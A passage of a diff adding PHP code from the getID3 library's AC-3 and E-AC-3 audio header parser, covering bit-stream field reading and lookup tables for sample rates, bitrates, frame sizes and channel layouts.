($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x01) { + $thisfile_ac3_raw_bsi['timecod1'] = $this->readHeaderBSI(14); // 5.4.2.27 timecod1: Time code first half, 14 bits + $thisfile_ac3['timecode1'] = 0; + $thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x3E00) >> 9) * 3600; // The first 5 bits of this 14-bit field represent the time in hours, with valid values of 0�23 + $thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x01F8) >> 3) * 60; // The next 6 bits represent the time in minutes, with valid values of 0�59 + $thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x0003) >> 0) * 8; // The final 3 bits represents the time in 8 second increments, with valid values of 0�7 (representing 0, 8, 16, ... 56 seconds) + } + if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x02) { + $thisfile_ac3_raw_bsi['timecod2'] = $this->readHeaderBSI(14); // 5.4.2.28 timecod2: Time code second half, 14 bits + $thisfile_ac3['timecode2'] = 0; + $thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x3800) >> 11) * 1; // The first 3 bits of this 14-bit field represent the time in seconds, with valid values from 0�7 (representing 0-7 seconds) + $thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x07C0) >> 6) * (1 / 30); // The next 5 bits represents the time in frames, with valid values from 0�29 (one frame = 1/30th of a second) + $thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x003F) >> 0) * ((1 / 30) / 60); // The final 6 bits represents fractions of 1/64 of a frame, with valid values from 0�63 + } + + $thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['addbsi']) { + $thisfile_ac3_raw_bsi['addbsi_length'] = $this->readHeaderBSI(6) + 1; // This 6-bit code, which exists only if addbside is a 1, indicates the length in bytes of additional bit stream information. The valid range of addbsil is 0�63, indicating 1�64 additional bytes, respectively. + + $this->AC3header['bsi'] .= getid3_lib::BigEndian2Bin($this->fread($thisfile_ac3_raw_bsi['addbsi_length'])); + + $thisfile_ac3_raw_bsi['addbsi_data'] = substr($this->AC3header['bsi'], $this->BSIoffset, $thisfile_ac3_raw_bsi['addbsi_length'] * 8); + $this->BSIoffset += $thisfile_ac3_raw_bsi['addbsi_length'] * 8; + } + + + } elseif ($thisfile_ac3_raw_bsi['bsid'] <= 16) { // E-AC3 + + + $this->error('E-AC3 parsing is incomplete and experimental in this version of getID3 ('.$this->getid3->version().'). Notably the bitrate calculations are wrong -- value might (or not) be correct, but it is not calculated correctly. Email info@getid3.org if you know how to calculate EAC3 bitrate correctly.'); + $info['audio']['dataformat'] = 'eac3'; + + $thisfile_ac3_raw_bsi['strmtyp'] = $this->readHeaderBSI(2); + $thisfile_ac3_raw_bsi['substreamid'] = $this->readHeaderBSI(3); + $thisfile_ac3_raw_bsi['frmsiz'] = $this->readHeaderBSI(11); + $thisfile_ac3_raw_bsi['fscod'] = $this->readHeaderBSI(2); + if ($thisfile_ac3_raw_bsi['fscod'] == 3) { + $thisfile_ac3_raw_bsi['fscod2'] = $this->readHeaderBSI(2); + $thisfile_ac3_raw_bsi['numblkscod'] = 3; // six blocks per syncframe + } else { + $thisfile_ac3_raw_bsi['numblkscod'] = $this->readHeaderBSI(2); + } + $thisfile_ac3['bsi']['blocks_per_sync_frame'] = self::blocksPerSyncFrame($thisfile_ac3_raw_bsi['numblkscod']); + $thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3); + $thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1); + $thisfile_ac3_raw_bsi['bsid'] = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended + $thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5); + $thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['compr']) { + $thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8); + } + if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) + $thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5); + $thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['compr2']) { + $thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8); + } + } + if ($thisfile_ac3_raw_bsi['strmtyp'] == 1) { // if dependent stream + $thisfile_ac3_raw_bsi['flags']['chanmap'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['chanmap']) { + $thisfile_ac3_raw_bsi['chanmap'] = $this->readHeaderBSI(8); + } + } + $thisfile_ac3_raw_bsi['flags']['mixmdat'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['mixmdat']) { // Mixing metadata + if ($thisfile_ac3_raw_bsi['acmod'] > 2) { // if more than 2 channels + $thisfile_ac3_raw_bsi['dmixmod'] = $this->readHeaderBSI(2); + } + if (($thisfile_ac3_raw_bsi['acmod'] & 0x01) && ($thisfile_ac3_raw_bsi['acmod'] > 2)) { // if three front channels exist + $thisfile_ac3_raw_bsi['ltrtcmixlev'] = $this->readHeaderBSI(3); + $thisfile_ac3_raw_bsi['lorocmixlev'] = $this->readHeaderBSI(3); + } + if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { // if a surround channel exists + $thisfile_ac3_raw_bsi['ltrtsurmixlev'] = $this->readHeaderBSI(3); + $thisfile_ac3_raw_bsi['lorosurmixlev'] = $this->readHeaderBSI(3); + } + if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { // if the LFE channel exists + $thisfile_ac3_raw_bsi['flags']['lfemixlevcod'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['lfemixlevcod']) { + $thisfile_ac3_raw_bsi['lfemixlevcod'] = $this->readHeaderBSI(5); + } + } + if ($thisfile_ac3_raw_bsi['strmtyp'] == 0) { // if independent stream + $thisfile_ac3_raw_bsi['flags']['pgmscl'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['pgmscl']) { + $thisfile_ac3_raw_bsi['pgmscl'] = $this->readHeaderBSI(6); + } + if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) + $thisfile_ac3_raw_bsi['flags']['pgmscl2'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['pgmscl2']) { + $thisfile_ac3_raw_bsi['pgmscl2'] = $this->readHeaderBSI(6); + } + } + $thisfile_ac3_raw_bsi['flags']['extpgmscl'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['extpgmscl']) { + $thisfile_ac3_raw_bsi['extpgmscl'] = $this->readHeaderBSI(6); + } + $thisfile_ac3_raw_bsi['mixdef'] = $this->readHeaderBSI(2); + if ($thisfile_ac3_raw_bsi['mixdef'] == 1) { // mixing option 2 + $thisfile_ac3_raw_bsi['premixcmpsel'] = (bool) $this->readHeaderBSI(1); + $thisfile_ac3_raw_bsi['drcsrc'] = (bool) $this->readHeaderBSI(1); + $thisfile_ac3_raw_bsi['premixcmpscl'] = $this->readHeaderBSI(3); + } elseif ($thisfile_ac3_raw_bsi['mixdef'] == 2) { // mixing option 3 + $thisfile_ac3_raw_bsi['mixdata'] = $this->readHeaderBSI(12); + } elseif ($thisfile_ac3_raw_bsi['mixdef'] == 3) { // mixing option 4 + $mixdefbitsread = 0; + $thisfile_ac3_raw_bsi['mixdeflen'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; + $thisfile_ac3_raw_bsi['flags']['mixdata2'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['mixdata2']) { + $thisfile_ac3_raw_bsi['premixcmpsel'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + $thisfile_ac3_raw_bsi['drcsrc'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + $thisfile_ac3_raw_bsi['premixcmpscl'] = $this->readHeaderBSI(3); $mixdefbitsread += 3; + $thisfile_ac3_raw_bsi['flags']['extpgmlscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['extpgmlscl']) { + $thisfile_ac3_raw_bsi['extpgmlscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; + } + $thisfile_ac3_raw_bsi['flags']['extpgmcscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['extpgmcscl']) { + $thisfile_ac3_raw_bsi['extpgmcscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; + } + $thisfile_ac3_raw_bsi['flags']['extpgmrscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['extpgmrscl']) { + $thisfile_ac3_raw_bsi['extpgmrscl'] = $this->readHeaderBSI(4); + } + $thisfile_ac3_raw_bsi['flags']['extpgmlsscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['extpgmlsscl']) { + $thisfile_ac3_raw_bsi['extpgmlsscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; + } + $thisfile_ac3_raw_bsi['flags']['extpgmrsscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['extpgmrsscl']) { + $thisfile_ac3_raw_bsi['extpgmrsscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; + } + $thisfile_ac3_raw_bsi['flags']['extpgmlfescl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['extpgmlfescl']) { + $thisfile_ac3_raw_bsi['extpgmlfescl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; + } + $thisfile_ac3_raw_bsi['flags']['dmixscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['dmixscl']) { + $thisfile_ac3_raw_bsi['dmixscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; + } + $thisfile_ac3_raw_bsi['flags']['addch'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['addch']) { + $thisfile_ac3_raw_bsi['flags']['extpgmaux1scl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']) { + $thisfile_ac3_raw_bsi['extpgmaux1scl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; + } + $thisfile_ac3_raw_bsi['flags']['extpgmaux2scl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']) { + $thisfile_ac3_raw_bsi['extpgmaux2scl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; + } + } + } + $thisfile_ac3_raw_bsi['flags']['mixdata3'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['mixdata3']) { + $thisfile_ac3_raw_bsi['spchdat'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; + $thisfile_ac3_raw_bsi['flags']['addspchdat'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['addspchdat']) { + $thisfile_ac3_raw_bsi['spchdat1'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; + $thisfile_ac3_raw_bsi['spchan1att'] = $this->readHeaderBSI(2); $mixdefbitsread += 2; + $thisfile_ac3_raw_bsi['flags']['addspchdat1'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; + if ($thisfile_ac3_raw_bsi['flags']['addspchdat1']) { + $thisfile_ac3_raw_bsi['spchdat2'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; + $thisfile_ac3_raw_bsi['spchan2att'] = $this->readHeaderBSI(3); $mixdefbitsread += 3; + } + } + } + $mixdata_bits = (8 * ($thisfile_ac3_raw_bsi['mixdeflen'] + 2)) - $mixdefbitsread; + $mixdata_fill = (($mixdata_bits % 8) ? 8 - ($mixdata_bits % 8) : 0); + $thisfile_ac3_raw_bsi['mixdata'] = $this->readHeaderBSI($mixdata_bits); + $thisfile_ac3_raw_bsi['mixdatafill'] = $this->readHeaderBSI($mixdata_fill); + unset($mixdefbitsread, $mixdata_bits, $mixdata_fill); + } + if ($thisfile_ac3_raw_bsi['acmod'] < 2) { // if mono or dual mono source + $thisfile_ac3_raw_bsi['flags']['paninfo'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['paninfo']) { + $thisfile_ac3_raw_bsi['panmean'] = $this->readHeaderBSI(8); + $thisfile_ac3_raw_bsi['paninfo'] = $this->readHeaderBSI(6); + } + if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) + $thisfile_ac3_raw_bsi['flags']['paninfo2'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['paninfo2']) { + $thisfile_ac3_raw_bsi['panmean2'] = $this->readHeaderBSI(8); + $thisfile_ac3_raw_bsi['paninfo2'] = $this->readHeaderBSI(6); + } + } + } + $thisfile_ac3_raw_bsi['flags']['frmmixcfginfo'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['frmmixcfginfo']) { // mixing configuration information + if ($thisfile_ac3_raw_bsi['numblkscod'] == 0) { + $thisfile_ac3_raw_bsi['blkmixcfginfo'][0] = $this->readHeaderBSI(5); + } else { + for ($blk = 0; $blk < $thisfile_ac3_raw_bsi['numblkscod']; $blk++) { + $thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk]) { // mixing configuration information + $thisfile_ac3_raw_bsi['blkmixcfginfo'][$blk] = $this->readHeaderBSI(5); + } + } + } + } + } + } + $thisfile_ac3_raw_bsi['flags']['infomdat'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['infomdat']) { // Informational metadata + $thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3); + $thisfile_ac3_raw_bsi['flags']['copyrightb'] = (bool) $this->readHeaderBSI(1); + $thisfile_ac3_raw_bsi['flags']['origbs'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['acmod'] == 2) { // if in 2/0 mode + $thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2); + $thisfile_ac3_raw_bsi['dheadphonmod'] = $this->readHeaderBSI(2); + } + if ($thisfile_ac3_raw_bsi['acmod'] >= 6) { // if both surround channels exist + $thisfile_ac3_raw_bsi['dsurexmod'] = $this->readHeaderBSI(2); + } + $thisfile_ac3_raw_bsi['flags']['audprodi'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['audprodi']) { + $thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5); + $thisfile_ac3_raw_bsi['roomtyp'] = $this->readHeaderBSI(2); + $thisfile_ac3_raw_bsi['flags']['adconvtyp'] = (bool) $this->readHeaderBSI(1); + } + if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) + $thisfile_ac3_raw_bsi['flags']['audprodi2'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['audprodi2']) { + $thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5); + $thisfile_ac3_raw_bsi['roomtyp2'] = $this->readHeaderBSI(2); + $thisfile_ac3_raw_bsi['flags']['adconvtyp2'] = (bool) $this->readHeaderBSI(1); + } + } + if ($thisfile_ac3_raw_bsi['fscod'] < 3) { // if not half sample rate + $thisfile_ac3_raw_bsi['flags']['sourcefscod'] = (bool) $this->readHeaderBSI(1); + } + } + if (($thisfile_ac3_raw_bsi['strmtyp'] == 0) && ($thisfile_ac3_raw_bsi['numblkscod'] != 3)) { // if both surround channels exist + $thisfile_ac3_raw_bsi['flags']['convsync'] = (bool) $this->readHeaderBSI(1); + } + if ($thisfile_ac3_raw_bsi['strmtyp'] == 2) { // if bit stream converted from AC-3 + if ($thisfile_ac3_raw_bsi['numblkscod'] != 3) { // 6 blocks per syncframe + $thisfile_ac3_raw_bsi['flags']['blkid'] = 1; + } else { + $thisfile_ac3_raw_bsi['flags']['blkid'] = (bool) $this->readHeaderBSI(1); + } + if ($thisfile_ac3_raw_bsi['flags']['blkid']) { + $thisfile_ac3_raw_bsi['frmsizecod'] = $this->readHeaderBSI(6); + } + } + $thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1); + if ($thisfile_ac3_raw_bsi['flags']['addbsi']) { + $thisfile_ac3_raw_bsi['addbsil'] = $this->readHeaderBSI(6); + $thisfile_ac3_raw_bsi['addbsi'] = $this->readHeaderBSI(($thisfile_ac3_raw_bsi['addbsil'] + 1) * 8); + } + + } else { + + $this->error('Bit stream identification is version '.$thisfile_ac3_raw_bsi['bsid'].', but getID3() only understands up to version 16. Please submit a support ticket with a sample file.'); + unset($info['ac3']); + return false; + + } + + if (isset($thisfile_ac3_raw_bsi['fscod2'])) { + $thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup2($thisfile_ac3_raw_bsi['fscod2']); + } else { + $thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup($thisfile_ac3_raw_bsi['fscod']); + } + if ($thisfile_ac3_raw_bsi['fscod'] <= 3) { + $info['audio']['sample_rate'] = $thisfile_ac3['sample_rate']; + } else { + $this->warning('Unexpected ac3.bsi.fscod value: '.$thisfile_ac3_raw_bsi['fscod']); + } + if (isset($thisfile_ac3_raw_bsi['frmsizecod'])) { + $thisfile_ac3['frame_length'] = self::frameSizeLookup($thisfile_ac3_raw_bsi['frmsizecod'], $thisfile_ac3_raw_bsi['fscod']); + $thisfile_ac3['bitrate'] = self::bitrateLookup($thisfile_ac3_raw_bsi['frmsizecod']); + } elseif (!empty($thisfile_ac3_raw_bsi['frmsiz'])) { + // this isn't right, but it's (usually) close, roughly 5% less than it should be. + // but WHERE is the actual bitrate value stored in EAC3?? email info@getid3.org if you know! + $thisfile_ac3['bitrate'] = ($thisfile_ac3_raw_bsi['frmsiz'] + 1) * 16 * 30; // The frmsiz field shall contain a value one less than the overall size of the coded syncframe in 16-bit words. That is, this field may assume a value ranging from 0 to 2047, and these values correspond to syncframe sizes ranging from 1 to 2048. + // kludge-fix to make it approximately the expected value, still not "right": + $thisfile_ac3['bitrate'] = round(($thisfile_ac3['bitrate'] * 1.05) / 16000) * 16000; + } + $info['audio']['bitrate'] = $thisfile_ac3['bitrate']; + + if (isset($thisfile_ac3_raw_bsi['bsmod']) && isset($thisfile_ac3_raw_bsi['acmod'])) { + $thisfile_ac3['service_type'] = self::serviceTypeLookup($thisfile_ac3_raw_bsi['bsmod'], $thisfile_ac3_raw_bsi['acmod']); + } + $ac3_coding_mode = self::audioCodingModeLookup($thisfile_ac3_raw_bsi['acmod']); + foreach($ac3_coding_mode as $key => $value) { + $thisfile_ac3[$key] = $value; + } + switch ($thisfile_ac3_raw_bsi['acmod']) { + case 0: + case 1: + $info['audio']['channelmode'] = 'mono'; + break; + case 3: + case 4: + $info['audio']['channelmode'] = 'stereo'; + break; + default: + $info['audio']['channelmode'] = 'surround'; + break; + } + $info['audio']['channels'] = $thisfile_ac3['num_channels']; + + $thisfile_ac3['lfe_enabled'] = $thisfile_ac3_raw_bsi['flags']['lfeon']; + if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { + $info['audio']['channels'] .= '.1'; + } + + $thisfile_ac3['channels_enabled'] = self::channelsEnabledLookup($thisfile_ac3_raw_bsi['acmod'], $thisfile_ac3_raw_bsi['flags']['lfeon']); + $thisfile_ac3['dialogue_normalization'] = '-'.$thisfile_ac3_raw_bsi['dialnorm'].'dB'; + + return true; + } + + /** + * @param int $length + * + * @return int + */ + private function readHeaderBSI($length) { + $data = substr($this->AC3header['bsi'], $this->BSIoffset, $length); + $this->BSIoffset += $length; + + return bindec($data); + } + + /** + * @param int $fscod + * + * @return int|string|false + */ + public static function sampleRateCodeLookup($fscod) { + static $sampleRateCodeLookup = array( + 0 => 48000, + 1 => 44100, + 2 => 32000, + 3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute. + ); + return (isset($sampleRateCodeLookup[$fscod]) ? $sampleRateCodeLookup[$fscod] : false); + } + + /** + * @param int $fscod2 + * + * @return int|string|false + */ + public static function sampleRateCodeLookup2($fscod2) { + static $sampleRateCodeLookup2 = array( + 0 => 24000, + 1 => 22050, + 2 => 16000, + 3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute. + ); + return (isset($sampleRateCodeLookup2[$fscod2]) ? $sampleRateCodeLookup2[$fscod2] : false); + } + + /** + * @param int $bsmod + * @param int $acmod + * + * @return string|false + */ + public static function serviceTypeLookup($bsmod, $acmod) { + static $serviceTypeLookup = array(); + if (empty($serviceTypeLookup)) { + for ($i = 0; $i <= 7; $i++) { + $serviceTypeLookup[0][$i] = 'main audio service: complete main (CM)'; + $serviceTypeLookup[1][$i] = 'main audio service: music and effects (ME)'; + $serviceTypeLookup[2][$i] = 'associated service: visually impaired (VI)'; + $serviceTypeLookup[3][$i] = 'associated service: hearing impaired (HI)'; + $serviceTypeLookup[4][$i] = 'associated service: dialogue (D)'; + $serviceTypeLookup[5][$i] = 'associated service: commentary (C)'; + $serviceTypeLookup[6][$i] = 'associated service: emergency (E)'; + } + + $serviceTypeLookup[7][1] = 'associated service: voice over (VO)'; + for ($i = 2; $i <= 7; $i++) { + $serviceTypeLookup[7][$i] = 'main audio service: karaoke'; + } + } + return (isset($serviceTypeLookup[$bsmod][$acmod]) ? $serviceTypeLookup[$bsmod][$acmod] : false); + } + + /** + * @param int $acmod + * + * @return array|false + */ + public static function audioCodingModeLookup($acmod) { + // array(channel configuration, # channels (not incl LFE), channel order) + static $audioCodingModeLookup = array ( + 0 => array('channel_config'=>'1+1', 'num_channels'=>2, 'channel_order'=>'Ch1,Ch2'), + 1 => array('channel_config'=>'1/0', 'num_channels'=>1, 'channel_order'=>'C'), + 2 => array('channel_config'=>'2/0', 'num_channels'=>2, 'channel_order'=>'L,R'), + 3 => array('channel_config'=>'3/0', 'num_channels'=>3, 'channel_order'=>'L,C,R'), + 4 => array('channel_config'=>'2/1', 'num_channels'=>3, 'channel_order'=>'L,R,S'), + 5 => array('channel_config'=>'3/1', 'num_channels'=>4, 'channel_order'=>'L,C,R,S'), + 6 => array('channel_config'=>'2/2', 'num_channels'=>4, 'channel_order'=>'L,R,SL,SR'), + 7 => array('channel_config'=>'3/2', 'num_channels'=>5, 'channel_order'=>'L,C,R,SL,SR'), + ); + return (isset($audioCodingModeLookup[$acmod]) ? $audioCodingModeLookup[$acmod] : false); + } + + /** + * @param int $cmixlev + * + * @return int|float|string|false + */ + public static function centerMixLevelLookup($cmixlev) { + static $centerMixLevelLookup; + if (empty($centerMixLevelLookup)) { + $centerMixLevelLookup = array( + 0 => pow(2, -3.0 / 6), // 0.707 (-3.0 dB) + 1 => pow(2, -4.5 / 6), // 0.595 (-4.5 dB) + 2 => pow(2, -6.0 / 6), // 0.500 (-6.0 dB) + 3 => 'reserved' + ); + } + return (isset($centerMixLevelLookup[$cmixlev]) ? $centerMixLevelLookup[$cmixlev] : false); + } + + /** + * @param int $surmixlev + * + * @return int|float|string|false + */ + public static function surroundMixLevelLookup($surmixlev) { + static $surroundMixLevelLookup; + if (empty($surroundMixLevelLookup)) { + $surroundMixLevelLookup = array( + 0 => pow(2, -3.0 / 6), + 1 => pow(2, -6.0 / 6), + 2 => 0, + 3 => 'reserved' + ); + } + return (isset($surroundMixLevelLookup[$surmixlev]) ? $surroundMixLevelLookup[$surmixlev] : false); + } + + /** + * @param int $dsurmod + * + * @return string|false + */ + public static function dolbySurroundModeLookup($dsurmod) { + static $dolbySurroundModeLookup = array( + 0 => 'not indicated', + 1 => 'Not Dolby Surround encoded', + 2 => 'Dolby Surround encoded', + 3 => 'reserved' + ); + return (isset($dolbySurroundModeLookup[$dsurmod]) ? $dolbySurroundModeLookup[$dsurmod] : false); + } + + /** + * @param int $acmod + * @param bool $lfeon + * + * @return array + */ + public static function channelsEnabledLookup($acmod, $lfeon) { + $lookup = array( + 'ch1'=>($acmod == 0), + 'ch2'=>($acmod == 0), + 'left'=>($acmod > 1), + 'right'=>($acmod > 1), + 'center'=>(bool) ($acmod & 0x01), + 'surround_mono'=>false, + 'surround_left'=>false, + 'surround_right'=>false, + 'lfe'=>$lfeon); + switch ($acmod) { + case 4: + case 5: + $lookup['surround_mono'] = true; + break; + case 6: + case 7: + $lookup['surround_left'] = true; + $lookup['surround_right'] = true; + break; + } + return $lookup; + } + + /** + * @param int $compre + * + * @return float|int + */ + public static function heavyCompression($compre) { + // The first four bits indicate gain changes in 6.02dB increments which can be + // implemented with an arithmetic shift operation. The following four bits + // indicate linear gain changes, and require a 5-bit multiply. + // We will represent the two 4-bit fields of compr as follows: + // X0 X1 X2 X3 . Y4 Y5 Y6 Y7 + // The meaning of the X values is most simply described by considering X to represent a 4-bit + // signed integer with values from -8 to +7. The gain indicated by X is then (X + 1) * 6.02 dB. The + // following table shows this in detail. + + // Meaning of 4 msb of compr + // 7 +48.16 dB + // 6 +42.14 dB + // 5 +36.12 dB + // 4 +30.10 dB + // 3 +24.08 dB + // 2 +18.06 dB + // 1 +12.04 dB + // 0 +6.02 dB + // -1 0 dB + // -2 -6.02 dB + // -3 -12.04 dB + // -4 -18.06 dB + // -5 -24.08 dB + // -6 -30.10 dB + // -7 -36.12 dB + // -8 -42.14 dB + + $fourbit = str_pad(decbin(($compre & 0xF0) >> 4), 4, '0', STR_PAD_LEFT); + if ($fourbit[0] == '1') { + $log_gain = -8 + bindec(substr($fourbit, 1)); + } else { + $log_gain = bindec(substr($fourbit, 1)); + } + $log_gain = ($log_gain + 1) * getid3_lib::RGADamplitude2dB(2); + + // The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to + // be an unsigned fractional integer, with a leading value of 1, or: 0.1 Y4 Y5 Y6 Y7 (base 2). Y can + // represent values between 0.111112 (or 31/32) and 0.100002 (or 1/2). Thus, Y can represent gain + // changes from -0.28 dB to -6.02 dB. + + $lin_gain = (16 + ($compre & 0x0F)) / 32; + + // The combination of X and Y values allows compr to indicate gain changes from + // 48.16 - 0.28 = +47.89 dB, to + // -42.14 - 6.02 = -48.16 dB. + + return $log_gain - $lin_gain; + } + + /** + * @param int $roomtyp + * + * @return string|false + */ + public static function roomTypeLookup($roomtyp) { + static $roomTypeLookup = array( + 0 => 'not indicated', + 1 => 'large room, X curve monitor', + 2 => 'small room, flat monitor', + 3 => 'reserved' + ); + return (isset($roomTypeLookup[$roomtyp]) ? $roomTypeLookup[$roomtyp] : false); + } + + /** + * @param int $frmsizecod + * @param int $fscod + * + * @return int|false + */ + public static function frameSizeLookup($frmsizecod, $fscod) { + // LSB is whether padding is used or not + $padding = (bool) ($frmsizecod & 0x01); + $framesizeid = ($frmsizecod & 0x3E) >> 1; + + static $frameSizeLookup = array(); + if (empty($frameSizeLookup)) { + $frameSizeLookup = array ( + 0 => array( 128, 138, 192), // 32 kbps + 1 => array( 160, 174, 240), // 40 kbps + 2 => array( 192, 208, 288), // 48 kbps + 3 => array( 224, 242, 336), // 56 kbps + 4 => array( 256, 278, 384), // 64 kbps + 5 => array( 320, 348, 480), // 80 kbps + 6 => array( 384, 416, 576), // 96 kbps + 7 => array( 448, 486, 672), // 112 kbps + 8 => array( 512, 556, 768), // 128 kbps + 9 => array( 640, 696, 960), // 160 kbps + 10 => array( 768, 834, 1152), // 192 kbps + 11 => array( 896, 974, 1344), // 224 kbps + 12 => array(1024, 1114, 1536), // 256 kbps + 13 => array(1280, 1392, 1920), // 320 kbps + 14 => array(1536, 1670, 2304), // 384 kbps + 15 => array(1792, 1950, 2688), // 448 kbps + 16 => array(2048, 2228, 3072), // 512 kbps + 17 => array(2304, 2506, 3456), // 576 kbps + 18 => array(2560, 2786, 3840) // 640 kbps + ); + } + $paddingBytes = 0; + if (($fscod == 1) && $padding) { + // frame lengths are padded by 1 word (16 bits) at 44100 + // (fscode==1) means 44100Hz (see sampleRateCodeLookup) + $paddingBytes = 2; + } + return (isset($frameSizeLookup[$framesizeid][$fscod]) ? $frameSizeLookup[$framesizeid][$fscod] + $paddingBytes : false); + } + + /** + * @param int $frmsizecod + * + * @return int|false + */ + public static function bitrateLookup($frmsizecod) { + // LSB is whether padding is used or not + $padding = (bool) ($frmsizecod & 0x01); + $framesizeid = ($frmsizecod & 0x3E) >> 1; + + static $bitrateLookup = array( + 0 => 32000, + 1 => 40000, + 2 => 48000, + 3 => 56000, + 4 => 64000, + 5 => 80000, + 6 => 96000, + 7 => 112000, + 8 => 128000, + 9 => 160000, + 10 => 192000, + 11 => 224000, + 12 => 256000, + 13 => 320000, + 14 => 384000, + 15 => 448000, + 16 => 512000, + 17 => 576000, + 18 => 640000, + ); + return (isset($bitrateLookup[$framesizeid]) ? $bitrateLookup[$framesizeid] : false); + } + + 